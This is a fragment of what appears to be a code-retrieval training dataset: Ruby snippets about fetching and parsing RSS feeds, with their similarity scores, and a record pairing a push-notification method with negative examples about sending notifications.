rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n rss_provider.update(news_updated_at: Time.now.localtime)\n end\n end\n end\n \n\n end\n\n end\n end\n\n unless rss_provider.rss_url.include?(\"timesofindia\" ) || rss_provider.rss_url.include?(\"ndtv\" ) || rss_provider.rss_url.include?(\"bbc\" ) ||\n rss_provider.rss_url.include?(\"news18\") || rss_provider.rss_url.include?(\"indiatoday\") \n\n\n if rss_provider.rss_url.include?(\"indiatvnews\" )\n xml = HTTParty.get(rss_provider.rss_url)\n ProviderContent.create(xml: xml, rss_provider_id: rss_provider.id)\n\n xml = xml.body\n feeds = Feedjira.parse(xml)\n feeds.entries.each do |feed|\n index_of_summary = feed.summary.index(\"</a>\")\n summary = feed.summary[index_of_summary+4..]\n index_of_image = feed.summary.index(\"src\")\n image_url = feed.summary[(index_of_image+5)..(index_of_summary-5)]\n title = News.find_by(title: feed.title)\n unless title.present?\n News.create(title: feed.title, summary: summary, \n published_on: feed.published, url: feed.url, media_url: image_url, \n rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n end\n\n end\n rss_provider.update(news_updated_at: Time.now.localtime)\n\n elsif rss_provider.rss_url.include?(\"thehindu\")\n xml = HTTParty.get(rss_provider.rss_url)\n ProviderContent.create(xml: xml, rss_provider_id: rss_provider.id)\n xml = xml.body\n feeds = Feedjira.parse(xml)\n feeds.entries.each do |feed|\n title = News.find_by(title: feed.title)\n unless title.present?\n News.create(title: feed.title, summary: feed.summary.strip, \n published_on: feed.published, url: feed.url,rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n end\n\n end\n rss_provider.update(news_updated_at: Time.now.localtime)\n\n elsif rss_provider.rss_url.include?(\"zee\")\n xml = HTTParty.get(rss_provider.rss_url)\n ProviderContent.create(xml: xml, rss_provider_id: rss_provider.id)\n xml = xml.body\n feeds = Feedjira.parse(xml)\n feeds.entries.each do |feed|\n title = News.find_by(title: feed.title)\n unless title.present?\n News.create(title: feed.title, summary: feed.summary.strip, \n published_on: feed.published, url: feed.url,rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n end\n\n end\n rss_provider.update(news_updated_at: Time.now.localtime)\n end\n\n end\n\n unless rss_provider.rss_url.include?(\"timesofindia\" ) || rss_provider.rss_url.include?(\"ndtv\" ) || rss_provider.rss_url.include?(\"bbc\" ) ||\n rss_provider.rss_url.include?(\"news18\") || rss_provider.rss_url.include?(\"indiatoday\") ||\n rss_provider.rss_url.include?(\"indiatvnews\") || rss_provider.rss_url.include?(\"thehindu\") ||\n rss_provider.rss_url.include?(\"zee\")\n\n xml = HTTParty.get(rss_provider.rss_url)\n ProviderContent.create(xml: xml, rss_provider_id: rss_provider.id)\n xml = xml.body\n feeds = Feedjira.parse(xml)\n feeds.entries.each do |feed|\n title = News.find_by(title: feed.title)\n unless title.present?\n News.create(title: feed.title, summary: feed.summary.strip, \n published_on: feed.published, url: feed.url,rss_provider_id: rss_provider.id, category_id: rss_provider.category.id, \n provider_id: rss_provider.provider.id, media_credit: rss_provider.provider.provider_name)\n end\n\n end\n rss_provider.update(news_updated_at: Time.now.localtime)\n\n end\n redirect_to admin_rss_providers_path, alert: \"Fetched Successfully \"\n\n end",
"def scrape\n\t\turl = 'http://www.wsj.com/xml/rss/3_7455.xml'\n open(url) do |rss|\n \tfeed = RSS::Parser.parse(rss, false)\n puts \" \"\n puts \"*********************************\"\n \tputs \"Title: #{feed.channel.title}\"\n puts \"--------------------------------\"\n feed.items.each do |item|\n tags = tag_article(item.title.to_s)\n \tarticle = Article.new(title: item.title.to_s, \n summary: item.description.to_s.gsub(/\\\"/,''), \n link: item.link, \n date: item.pubDate.to_s.gsub(/,/,''),\n tag_list: tags, \n source: \"Wall Street Journal\")\n article.save\n end\n end\n end",
"def show\n @feed = Feed.find(params[:id]) rescue Feed.find_by_uri(params[:id])\n if @feed.is_duplicate? and @feed.duplicate\n redirect_to feed_url(@feed.duplicate)\n else\n respond_to do |wants|\n wants.html do\n render :action => 'show'\n end\n wants.atom do\n render :xml => @feed.to_atom(:base => \"http://#{request.host}:#{request.port}\", :include_entries => true, :page => params[:page]) \n end\n wants.xml { render :xml => @feed.to_xml }\n end\n end\n end",
"def create\n link = params[:link]\n @feed = Feed.find_by feed_link: link\n if !@feed.nil?\n respond_to do |format|\n format.html { redirect_to @feed, notice: 'Feed already subscribed.' }\n format.json { render :show, status: :ok, location: @feed }\n end\n return\n end\n\n feed_source = FeedsHelper.fetch_feed_source(link)\n\n @feed = Feed.new\n @feed.title = feed_source.title\n @feed.description = feed_source.description\n @feed.updated = feed_source.last_modified\n\n @feed.feed_link = feed_source.feed_url #TODO check if the link found in the xml doesn't match the url\n @feed.source_link = feed_source.url\n\n respond_to do |format|\n if @feed.save\n EntriesHelper.save_from(feed_source, @feed)\n format.html { redirect_to @feed, notice: 'Feed was successfully created.' }\n format.json { render :show, status: :created, location: @feed }\n else\n format.html { render :new }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end \n end",
"def rss\r\n Nokogiri::XML(body)\r\n end",
"def feed\n @blog_articles = BlogArticle.all\n respond_to do |format|\n format.rss { render layout: false }\n end\n end",
"def get_rss\n all( :conditions => ['published_at IS NOT NULL'], :order => 'published_at DESC', :limit => per_page )\n end",
"def webhook_update\n @feed = Feed.find(params[:id])\n Resque.enqueue(FeedParser, @feed.id, @feed.url)\n render status: 200, plain: ''\n end",
"def fetch\n @jobs = fetch_rss(url, Sources::STACKOVERFLOW)\n end",
"def rss\n forum = Forum.find(params[:id])\n comments = forum.comments_by_topic.find_all{|c| !c.private and forum.can_see? current_user}\n render_rss_feed_for comments, {\n :feed => {\n :title => \"New OpenMind Comments for Forum \\\"#{forum.name}\\\"\",\n :link => forum_url(forum.id),\n :pub_date => :created_at\n },\n :item => {\n :title => :rss_headline,\n :description => :rss_body,\n :link => Proc.new{|comment| \"#{topic_url(comment.topic.id, :anchor => comment.id)}\" }\n }\n }\n end",
"def xml_feed_entries(feed_url, locale, offset)\r\n p \"Feed #{feed_url}\"\r\n doc = Nokogiri::XML(open(feed_url))\r\n doc.xpath(\"//item\").count.times do |n|\r\n \r\n # process dates\r\n sdt = DateTime.parse(doc.xpath(\"//item//xCal:dtstart\")[n].text) rescue nil\r\n edt = doc.xpath(\"//item//xCal:dtend\")[n].text\r\n edt.blank? ? enddt = sdt.advance(:hours => 2) : enddt = DateTime.parse(edt)\r\n \r\n # get event title and url\r\n etitle = doc.xpath(\"//item//title\")[n].text.split(' at ')[0]\r\n url = doc.xpath(\"//item//link\")[n].text \r\n sid = doc.xpath(\"//item//id\")[n].text \r\n\r\n # get county based on coordinates\r\n lat = doc.xpath(\"//item//geo:lat\")[n].text\r\n lng = doc.xpath(\"//item//geo:long\")[n].text\r\n county = Schedule.chk_geocode(lat, lng) rescue nil\r\n \r\n # add only current events \r\n if sdt >= Date.today\r\n \r\n # find correct channel and location\r\n cid = LocalChannel.select_channel(etitle, county, locale).flatten 1\r\n# cid.map {|channel| p \"Channel: #{channel.channelID}\" }\r\n\r\n # add event to calendar\r\n cid.map {|channel| add_event(doc, n, sid, etitle[0..199], sdt, enddt, channel.channelID, url, offset)} if cid\r\n# add_event(doc, n, sid, etitle[0..199], sdt, enddt, cid[0].channelID, url, offset) if cid\r\n end\r\n end \r\n end",
"def perform(feed_id, feed_url, options = {})\n feed = { id: feed_id }\n if options[\"xml\"]\n entries = Pushed.new(options[\"xml\"], feed_url).entries\n else\n fetched = Fetched.new(feed_id, feed_url, options)\n entries = fetched.entries\n feed = feed.merge(fetched.feed)\n if options[\"record_status\"]\n record_status(feed_id, fetched.status_message)\n end\n if fetched.parsed_feed && options[\"push_callback\"] && options[\"hub_secret\"]\n push = PubSubHubbub.new(\n fetched.parsed_feed.hubs,\n fetched.parsed_feed.self_url,\n options[\"push_callback\"],\n options[\"hub_secret\"],\n options[\"subscriptions_count\"]\n )\n if options[\"push_mode\"] == \"subscribe\"\n push.subscribe\n elsif options[\"push_mode\"] == \"unsubscribe\"\n push.unsubscribe\n end\n end\n end\n\n formatted_entries = FormattedEntries.new(entries)\n if !formatted_entries.new_or_changed.empty?\n update = {\n feed: feed,\n entries: formatted_entries.new_or_changed,\n }\n Sidekiq::Client.push(\n 'args' => [update],\n 'class' => 'FeedRefresherReceiver',\n 'queue' => 'feed_refresher_receiver'\n )\n end\n\n if options[\"itunes_image\"]\n entries.each do |entry|\n if entry.data && entry.data[:itunes_image]\n Sidekiq::Client.push(\n 'args' => [entry.public_id, entry.data[:itunes_image]],\n 'class' => 'FeedRefresherReceiverImage',\n 'queue' => 'feed_refresher_receiver'\n )\n end\n end\n end\n end",
"def create\n @feed = Feed.new(feed_params)\n\n\n\n @rss = RSS::Parser.parse(open(feed_params[:url]).read, false)\n\n @feed.title = @rss.channel.title\n @feed.link = @rss.channel.link\n @feed.pub_date = @rss.channel.pubDate\n @feed.description = @rss.channel.description\n @feed.author = @rss.channel.itunes_author\n @feed.language = @rss.channel.language\n\n \n if @rss.channel.itunes_image != nil\n @feed.image = @rss.channel.itunes_image.href\n else @rss.channel.image != nil\n @feed.image = @rss.channel.image.url\n end \n # @feed.keywords = @rss.channel.keywords\n unless @rss.channel.itunes_owner.blank?\n @feed.owner_name = @rss.channel.itunes_owner.itunes_name\n @feed.owner_email = @rss.channel.itunes_owner.itunes_email\n end\n unless @rss.channel.itunes_category.blank?\n @feed.category = @rss.channel.itunes_category.text\n end\n @feed.user_id = current_user.id\n\n\n respond_to do |format|\n if @feed.save\n format.html { redirect_to @feed, notice: 'Feed was successfully created.' }\n format.json { render :show, status: :created, location: @feed }\n else\n format.html { render :new }\n format.json { render json: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def parse\n # fzout = Feedjira::Feed.parse(fetch)\n fzout = Feedjira::Feed.fetch_and_parse(@url)\n case fzout\n when Fixnum\n @success = false\n @code = fzout\n else\n @success = true\n @code = 200\n @fz_feed_parser = fzout\n @feed_type = fzout.class.to_s.demodulize.underscore\n end\n end",
"def refresh_posts( tagger, all_tags = nil )\n require 'news/feed'\n\n all_tags ||= Tag.find(:all)\n\n puts \"refreshing posts with: #{self.klass}\"\n feed = self.klass.constantize.new( curb_get(self.url), self.content_type )\n\n feed.items.each_with_index do|item,count|\n timer = Time.now\n puts \"loading post: #{item.title}...\"\n post = Post.new(:title => item.title,\n :link => item.links.first,\n :image => item.image,\n :body => item.body,\n :author => item.authors.first,\n :published_at => item.published,\n :feed_id => self.id,\n :tag_list => item.categories )\n post.summarize!\n # check for images in the body pick the first one as the icon to use and use rmagick to scan it down\n post.retag(tagger,all_tags) if post.tag_list.empty?\n puts post.permalink\n other = Post.find_by_title(post.title)\n if post.valid? and (other.nil? or other.published_at != post.published_at)\n post.save!\n puts \"post: #{item.title}, loaded in #{Time.now - timer} with tags: #{post.tag_list.inspect}, item: #{count} of #{feed.items.size}\"\n else\n puts \"skipping: #{item.title}, item: #{count} of #{feed.items.size}\"\n end\n end\n end",
"def refresh_topic(topic)\n \n # Read the RSS feed from the web site.\n response = Net::HTTP.get_response(URI.parse(topic.external_uri))\n throw response.message unless response.is_a? Net::HTTPOK\n\n # Parse the feed.\n body = response.body\n if response[\"content-encoding\"] == \"gzip\"\n gzip_reader = Zlib::GzipReader.new(StringIO.new(body))\n body = gzip_reader.read\n gzip_reader.close\n end #if\n rss = nil\n begin\n rss = RSS::Parser.parse(body)\n rescue RSS::InvalidRSSError\n rss = RSS::Parser.parse(body, false)\n end\n throw \"Could not parse RSS feed.\" if rss.nil?\n\n # Copy the data for the topic itself.\n topic.name = rss.channel.title unless rss.channel.title.nil?\n topic.description = rss.channel.description\n topic.copyright = rss.channel.copyright\n \n # Copy the articles.\n ignore_count = 0\n rss.items.reverse_each do |item|\n # See if this article already exists.\n permalink = case\n when item.guid\n item.guid.content\n when item.link\n item.link\n when (item.pubDate and item.title)\n item.pubDate.strftime(\"%Y/%m/%d/\") + item.title.to_permalink\n else\n nil\n end #case\n if permalink.nil?\n ignore_count += 1\n else\n matches = topic.articles.find(:all,\n :conditions => [\"permalink = ?\", permalink],\n :order => \"posted_at DESC\")\n if matches.size > 0\n article = matches[0]\n else\n article = Article.new\n article.permalink = permalink\n topic.articles << article\n end #if\n article.subject = item.title\n article.author_name = item.author\n article.text = item.description\n article.external_uri = item.link\n if item.pubDate.nil?\n article.posted_at = Time.now.utc if article.posted_at.nil?\n else\n article.posted_at = item.pubDate.utc\n end #if\n article.save\n end #if\n end #each\n if ignore_count > 0\n log.warn \"#{ignore_count} articles were skipped \" +\n \"for topic #{topic.name}\"\n end #if\n \n # Remove old articles.\n if topic.articles.size > MAX_ARTICLES\n sorted_articles = topic.articles.find(:all, :order=>\"posted_at DESC\")\n topic.articles.delete(sorted_articles[MAX_ARTICLES..-1])\n end #if\n \n end",
"def read_feed(args)\n\n debug_logger.info Time.now.to_s.concat(\" => read_feed startet\")\n\n pinnacle_feed_link = \"http://xml.pinnaclesports.com/pinnacleFeed.aspx\"\n\n @sport_type = args[:sport_type]\n @sport_sub_type = args[:sport_sub_type]\n @event = args[:event]\n\n #@feed_time = params[:feed_time]\n #@feed_time = '1362582479720'\n\n #@feed_time = @feed_time\n #@feed_time = args[:feed_time]\n @feed_time = args[:feed_time]\n\n\n expand_uri = '?'\n expand_uri_joiner = ''\n if @sport_type != nil\n expand_uri.concat(\"SportType=\").concat(@sport_type)\n expand_uri_joiner = '&'\n end\n unless @sport_sub_type.empty?\n expand_uri.concat(expand_uri_joiner).concat(\"SportSubType=\").concat(@sport_sub_type)\n expand_uri_joiner = '&'\n end\n\n #if @feed_time != nil\n unless @feed_time.nil?\n expand_uri.concat(expand_uri_joiner).concat(\"last=\").concat(@feed_time.to_s)\n end\n\n response = open(pinnacle_feed_link.concat(expand_uri)).read\n\n h = Hash.from_xml (response)\n\n @feed_time = h[\"pinnacle_line_feed\"][\"PinnacleFeedTime\"]\n @last_contest = h[\"pinnacle_line_feed\"][\"lastContest\"]\n @last_game = h[\"pinnacle_line_feed\"][\"lastGame\"]\n\n @events = h[\"pinnacle_line_feed\"][\"events\"][\"event\"]\n\n debug_logger.info Time.now.to_s.concat(\" => events to read: \")\n debug_logger.info \"EXPAND_URI: \".concat(expand_uri)\n debug_logger.info \"sport_subtype: \".concat(@sport_sub_type)\n\n unless @feed_time.nil?\n debug_logger.info \"last: \".concat(@feed_time)\n end\n\n #debug_logger.flush\n\n\n args[:feed_time]=@feed_time\n args[:last_contest]=@last_contest\n args[:last_game]=@last_game\n\n args[:feed_time] = @feed_time\n\n args[:events]=@events\n\n end",
"def feed\n @feed_items = @repository.recent_feed_items\n respond_to do |format|\n format.html # feed.html.erb\n format.json { render json: @feed_items }\n end\n end",
"def fetch\n @feed = Feed.find(params[:id])\n @feed.fetch\n redirect_to :back, notice: 'Feed fetched OK'\n end",
"def fetch_test_feed\n logger.info 'FeedManager: env is test, fetching test data'\n data = Feedzirra::Feed.parse File.open(Rails.root.join('test', 'test_feeds', 'valid_feed.xml'), 'r').read\n return Feed.new :title => data.title,\n :items => data.entries,\n :url => data.url,\n :feed_url => data.feed_url,\n :valid => true\n\n end",
"def feed\n cached = Rails.cache.read(\"rss\")\n return cached unless cached.nil?\n\n resp = HTTParty.get(Rails.configuration.x.application.blog_rss)\n return [] unless resp.code == 200\n\n rss = RSS::Parser.parse(resp.body, false).items.first(5)\n cache_content(\"rss\", rss)\n rss\n rescue StandardError => e\n # If we were unable to connect to the blog rss\n logger.error(\"Caught exception RSS parse: #{e}.\")\n []\n end",
"def refresh\n @podcast = Podcast.find_by_id(params[:id])\n puts \"this is\"\n ShowsController.update_from_feed(@podcast.rss_link, @podcast.id)\n puts \"some straight\"\n respond_to do |format|\n puts \"bullshit\"\n format.html { redirect_to @podcast, notice: 'Podcast successfully refreshed!'}\n format.json { head :no_content }\n end\n end",
"def show\r\n @feed = Feed.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @rss_entry }\r\n end\r\n end",
"def update\n @feed.attributes = params[:feed]\n\n respond_to do |format|\n if @feed.save(user: current_user)\n format.html { render 'admin/shared/update' }\n format.xml { head :ok }\n else\n @feed.reload # to retrieve the old title\n format.html { render template: 'admin/shared/edit', locals: { record: @feed }, status: :unprocessable_entity }\n format.xml { render xml: @feed.errors, status: :unprocessable_entity }\n end\n end\n end",
"def scrape\n open(@url) do |rss|\n feed = RSS::Parser.parse(rss)\n\n feed.items.each do |item|\n # Remove the p tag and retrieve image url from the description\n # if it exists\n p_tag = item.description[%r{<p>.*</p>}]\n if p_tag\n item.description.slice! p_tag\n img_url = p_tag.match(/src=\"(?<img>[^\"]*)\"/)[:img]\n else\n img_url = nil\n end\n\n # Sanitize HTML\n item.title = CGI.unescapeHTML(item.title)\n item.description = CGI.unescapeHTML(item.description)\n\n @articles.push(\n title: item.title,\n summary: item.description,\n image_url: img_url,\n source: @source,\n url: item.link,\n pub_date: item.pubDate.to_s,\n guid: item.guid.content\n )\n end\n end\n end",
"def parse_feed\n feed = self.download_feed\n Nokogiri::XML(feed).xpath(\"//item\").map do |item|\n enclosure = item.xpath(\"enclosure\").first\n\n title = CGI::unescapeHTML(item.xpath(\"title\").text.chomp)\n publish_date = Time.parse(item.xpath(\"pubDate\").inner_html.chomp)\n type = enclosure ? enclosure[:type] : nil\n url = enclosure ? enclosure[:url] : nil\n Podcast.new title, publish_date, type, url, self\n end\n end",
"def update\n @feed = Feed.find(params[:id]) rescue Feed.find_by_uri(params[:id])\n \n respond_to do |wants|\n if @feed.update_attributes(params[:feed])\n wants.xml { render :nothing => true }\n wants.js\n else\n wants.xml { render :xml => @feed.errors.to_xml }\n wants.js\n end\n end\n end",
"def crawl\n update_all_feeds\n fetch_and_store_articles\n end",
"def index\n #body, ok = SuperfeedrEngine::Engine.retrieve(Feed.first) \n @entries = Entry.all\n end",
"def parse(id, body, format)\n case format\n when 'rss' then update_rss(id, body)\n else p 'error : unknown format'\n end\n end",
"def scrape\r\n @article_arr = []\r\n\t\turl = 'http://feeds.news.com.au/heraldsun/rss/heraldsun_news_technology_2790.xml'\r\n open(url) do |rss|\r\n \tfeed = RSS::Parser.parse(rss, false)\r\n \tputs \"Title: #{feed.channel.title}\"\r\n puts \"*********************************\"\r\n puts \" \"\r\n feed.items.each do |item|\r\n \t@article_arr << HSArticle.new(author: \"nil\", title: item.title.to_s.gsub(/,/,' ').gsub(/\"/,' ').gsub(/'s/,'s').gsub(/'/, ''), \r\n summary: item.description.to_s.gsub(/,/,' ').gsub(/\\\"/,'\\'').gsub(/'s/,''), images: item.enclosure.url, source: item.link,\r\n date: item.pubDate.to_s.gsub(/,/,'').gsub(/\\\"/,'\\'').gsub(/'s/,''))\r\n end\r\n end\r\n @articles.concat(@article_arr)\r\n end"
] |
[
"0.6500521",
"0.63392884",
"0.6295202",
"0.62594444",
"0.61890996",
"0.6143581",
"0.6139181",
"0.61067504",
"0.6092461",
"0.6085524",
"0.60491186",
"0.6041774",
"0.60319316",
"0.601841",
"0.59696245",
"0.59650654",
"0.59375095",
"0.592991",
"0.5927799",
"0.5911539",
"0.58861786",
"0.58845997",
"0.58774304",
"0.58181566",
"0.57929516",
"0.57913625",
"0.57693756",
"0.5765826",
"0.57546914",
"0.57337874",
"0.57314605",
"0.5730729",
"0.5723688",
"0.5716553",
"0.57018965",
"0.5695122",
"0.5687556",
"0.5686837",
"0.5678428",
"0.5674159",
"0.56642693",
"0.566413",
"0.56636643",
"0.5647014",
"0.5634617",
"0.56139475",
"0.56127036",
"0.5612468",
"0.5609586",
"0.56058896",
"0.5602626",
"0.55988246",
"0.5586908",
"0.5570122",
"0.55587393",
"0.55587393",
"0.5557692",
"0.55540615",
"0.55492073",
"0.55384505",
"0.5536748",
"0.5529187",
"0.55233574",
"0.5520598",
"0.55157727",
"0.5488556",
"0.5488099",
"0.54866266",
"0.5478857",
"0.54713446",
"0.5451774",
"0.5449947",
"0.5446247",
"0.5435851",
"0.5424848",
"0.5423029",
"0.54150665",
"0.54089206",
"0.5407461",
"0.540365",
"0.5389914",
"0.5387567",
"0.53786045",
"0.53775674",
"0.53701043",
"0.53683287",
"0.5366194",
"0.5350808",
"0.5340375",
"0.5340034",
"0.53290236",
"0.532816",
"0.53216934",
"0.5320979",
"0.5320443",
"0.53166074",
"0.5315626",
"0.531139",
"0.5309089",
"0.5307335"
] |
0.6047212
|
11
|
Function that is called from within Model to push a notification
|
def perform(token, alert, badge)
notification = Grocer::Notification.new(
device_token: token,
alert: alert,
badge: badge
)
pusher.push(notification)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_notification\n\n\n end",
"def create_notification; end",
"def push(notif)\n\n end",
"def send_notifications\n end",
"def send_notification(method, params); end",
"def push_notification\n NotificationMailer.push_notification\n end",
"def notifications\n end",
"def notify_by_push\n PushNotification.new(user: context.user,\n message: context.message,\n n_type: context.n_type,\n data: { from_id: context.user_from.try(:id), from_name: context.user_from.try(:name),\n donation_id: context.donation.try(:id) })\n .simple_notification\n end",
"def new_user_notification\n ModelMailer.new_user_notification\n end",
"def notification_on_create\n create_notification(:create)\n end",
"def notification(params)\n mail(params)\n end",
"def notify\n end",
"def send_email_changed_notification; end",
"def push_notification\n UserMailer.new_message(self).deliver_now\n end",
"def notify\n {\n }\n end",
"def notify\n {\n }\n end",
"def create\n @notification = Notification.new(notification_params)\n @notification.app = @app\n\n if params[:send] == 'now'\n @notification.update(scheduled_for: Time.now)\n else\n @notification.update(scheduled_for: Time.parse(notification_params['scheduled_for']).utc)\n end\n\n @notification.user = current_user\n @notification.rpush_app = @notification_app\n @notification.save\n\n respond_modal_with @notification, location: app_notifications_url\n end",
"def notify_new_finding\n # TODO: make the method avoid the creation of a Notification record\n end",
"def message\n \"You have a new notification!\"\n end",
"def create_notification!\n ::Users::Notifications::NewBuyRequest.create(\n recipient_user_id: buyer.parent_id, sender_user_id: buyer_id, related_model_type:'Trading::BuyRequest', related_model_id: self.id,\n uri: Rails.application.routes.url_helpers.buy_request_path(self)\n )\n ::NotificationMail.create_from_mail(buyer_id, buyer.parent_id, UserMailer.new_buy_request(self.items.first, buyer) )\n end",
"def send_email_changed_notification?; end",
"def send_message_notification\n message = MessageBlueprint.render_as_json(self)\n ActionCable.server.broadcast \"conversation_#{ self.conversation_id }_notification_channel\", message\n # receiver = self.conversation.user_one_id == self.user_id ? self.conversation.user_two_id : self.conversation.user_one_id\n # response = self.attributes.merge(user: self.user&.name)\n # ActionCable.server.broadcast \"user_#{ receiver }_notification_channel\", response.as_json.to_s\n end",
"def create\n @notification = Notification.new(params[:notification])\n @notification.user_id = current_user.id\n\n respond_to do |format|\n if @notification.save\n push_notification(@notification.id, @notification.car.device_token, @notification.text) if @notification.car.device_token\n format.html { redirect_to notifications_path, notice: t(\"activerecord.models.notification\") + t(\"message.created\") }\n format.json { render json: @notification, status: :created, location: @notification }\n else\n format.html { render action: \"new\" }\n format.json { render json: @notification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def will_notify\n #Resque.safe_enqueue Notification, to_user_id, id, APP::NOTIFICATIONS::MESSAGE\n end",
"def send_ready_notification\n\n end",
"def notification\n user = User.first\n comic = Comic.first\n SubscriptionMailer.notification(work: comic, user: user)\n end",
"def notification(event)\n scene.notification(event.to_sym,self)\n end",
"def notify sender_id:, referent:, instance:, users:, params: {}\n notify_push(sender_id: sender_id, referent: referent, instance: instance, users: users, params: params)\n notify_inapp(sender_id: sender_id, referent: referent, instance: instance, users: users, params: params)\n end",
"def notification(function_name, *para)\n para = {'method' => function_name, 'params' => para, 'id' => nil}\n .to_json\n send_request para\n nil\n end",
"def create_push\n PushNotification.push_to_user!(uid: @spot.priest.id, payload: push_payload)\n end",
"def notify_post\n raise \"not yet implemented\"\n end",
"def notification\n BookingMailer.notification\n end",
"def notify(payload)\n\t\tgeneration_id = [@parameters['generation_id']]\n\t\toptions = {data: { payload: payload } }\n\tend",
"def notification(data)\n type = data.delete(\"type\") || data.delete(:type) || data.delete(\"type\") || data.delete(:type)\n zone = to_demiurge_name(data.delete(\"zone\") || data.delete(:zone) || @item.zone)\n location = to_demiurge_name(data.delete(\"location\") || data.delete(:location) || @item.location)\n actor = to_demiurge_name(data.delete(\"actor\") || data.delete(:actor) || @item)\n @item.engine.send_notification(data, type: type.to_s, zone: zone, location: location, actor: actor, include_context: true)\n nil\n end",
"def push name='create'\n \n end",
"def push_notification\n pusher_client = Pusher::Client.new(\n app_id: '194717',\n key: 'c7a6150d22d40eea7bca',\n secret: '76c36e83b489767cef0a',\n encrypted: true\n )\n\n pusher_client.trigger('test_channel', 'my_event', {\n message: 'Event'\n })\n\n end",
"def deliver_push_notification\n return unless push_notification_sent_at.nil? # avoid double send\n return if self.user == self.created_by # dont deliver if user liked own post\n return if event_type == \"push\" || event_type == \"purchase\"\n device_tokens = self.user.push_devices.map(&:token)\n return if device_tokens.blank?\n puts 'CREATING PUSH'\n badge = self.user.events.unread.count\n notification = { :device_tokens => device_tokens,\n :page => push_page,\n :aps => { :alert => push_alert, \n :badge => badge}}\n \n update_attribute(:push_notification_sent_at, Time.now) if Urbanairship.push(notification)\n end",
"def create\n @notification = Notification.new(notification_params)\n if @notification.save\n Notifier.send_notification(@notification)\n render json: \"Created succesfully\", status: :ok\n else\n render json: @notification.errors, status: :unprocessable_entity\n end\n end",
"def growl_notify\n\t\t\toptions = { :title => @application,\n\t\t\t\t\t\t\t\t\t:description => @message.gsub(/[\\n]+/, \"\"),\n\t\t\t\t\t\t\t\t\t:application_name => @application,\n\t\t\t\t\t\t\t\t\t:image_from_location => @icon,\n\t\t\t\t\t\t\t\t\t:sticky => false,\n\t\t\t\t\t\t\t\t\t:priority => 0,\n\t\t\t\t\t\t\t\t\t:with_name => notifications.first }\n @growl.notify options\t\t\t\n\t\tend",
"def send_email(object)\n # SomeNotifier.notification(...).deliver_now\n end",
"def push_fire(title, msg)\n if Rails.env == \"production\"\n# GCM.host = 'https://android.googleapis.com/gcm/send'\n# GCM.format = :json\n# GCM.key = \"AIzaSyBWx7Nh7iUJpTXVQlgRjYD89a8gMxQz5Cc\"\n# push_msg = {:title =>title, :msg => msg}\n# push_list = []\n # self.devices.each do |device|\n # if(device.device_type == 'AndroidDevice')\n # push_list.push GCM::Notification.new(device.device_id, push_msg)\n # end \n # end\n # GCM.send_notifications(push_list)\ngcm = GCM.new(\"AIzaSyBWx7Nh7iUJpTXVQlgRjYD89a8gMxQz5Cc\")\n push_msg = {:data => {:title => title, :msg => msg}}\n push_list = []\n self.devices.each do |device|\n if(device.device_type == 'AndroidDevice')\n push_list.push device.device_id\n end\n end\n\n gcm.send_notification(push_list, push_msg)\n\n else\n puts \"#{title} #{msg}\"\n end\n end",
"def create_notification(attributes)\n BrickFTP::API::Notification.create(attributes)\n end",
"def create_notification(attributes)\n BrickFTP::API::Notification.create(attributes)\n end",
"def push msg\n end",
"def notify_new_findings\n # TODO: make the method avoid the creation of a Notification record\n end",
"def push_notifications\n # post \"/push\" do\n Webpush.payload_send(\n message: params[:message],\n endpoint: params[:subscription][:endpoint],\n p256dh: params[:subscription][:keys][:p256dh],\n auth: params[:subscription][:keys][:auth],\n vapid: {\n subject: \"mailto:sender@example.com\",\n public_key: ENV['VAPID_PUBLIC_KEY'],\n private_key: ENV['VAPID_PRIVATE_KEY']\n }\n )\n end",
"def create_notification(chatroom)\n last_message = chatroom.messages.last\n user = last_message.user\n other_user = chatroom.other_user user.id\n n = other_user.notification || Notification.create(user_id: other_user.id)\n n.count += 1\n n.save\n last_message.notification_id = n.id\n last_message.save\n NotificationsChannel.broadcast_to other_user,\n user: last_message.user.name,\n content: last_message.content,\n picture: last_message.user.picture,\n topic: self.topic,\n id: last_message.id\n end",
"def reminder_sent\n end",
"def notify(mid, *args, **kwargs)\n @notification_name = mid\n do_notify(*args, **kwargs)\n end",
"def create\r\n\t\t@notification = Notification.new(notification_params)\r\n\t\tif @notification.save\r\n\t\t\tAction.create(info: current_user.username + ' was sent this notification: (' + @notification.info + ').', user_email: current_user.email)\r\n\t\tend\r\n\tend",
"def notify!(status)\n send_message(message.call(model, status: status_data_for(status)))\n end",
"def create_notification\n\t\tNotification.create(title: self.title,\n\t\t\t\t\t\t\t\t\t\t\t\tnotification_type: 0,\n\t\t\t\t\t\t\t\t\t\t\t\tlocation: self.location,\n\t\t\t\t\t\t\t\t\t\t\t\tlatitude: self.latitude,\n\t\t\t\t\t\t\t\t\t\t\t\tlongitude: self.longitude,\n record_id: self.id,\n generated_by: self.created_by)\n\tend",
"def create_notification\n Notification.create(\n notifiable_id: self.post.id, notifiable_type: 'Post', \n notification_type: 'Comment', source_user_id: self.user_id, target_user_hash: {},\n target_user_ids: [self.owner.id] , seen: false, custom_text: self.content)\n Notification.create(\n notifiable_id: self.post.id, notifiable_type: 'Post', \n notification_type: 'FollowedComment', source_user_id: self.user_id, target_user_hash: {},\n target_user_ids: self.notifiable_followers , seen: false, custom_text: self.content)\n end",
"def create_notification\n subject = \"#{student_request.name} \"\n body = \"#{student_request.name} (#{student_request.email}) needs tutorial.\"\n tutor_request.notify(subject, body, self)\n end",
"def new_notification\n mail(to: \"rhammett@ycp.edu\", subject: 'New Notification', sent_on: Time.now)\n end",
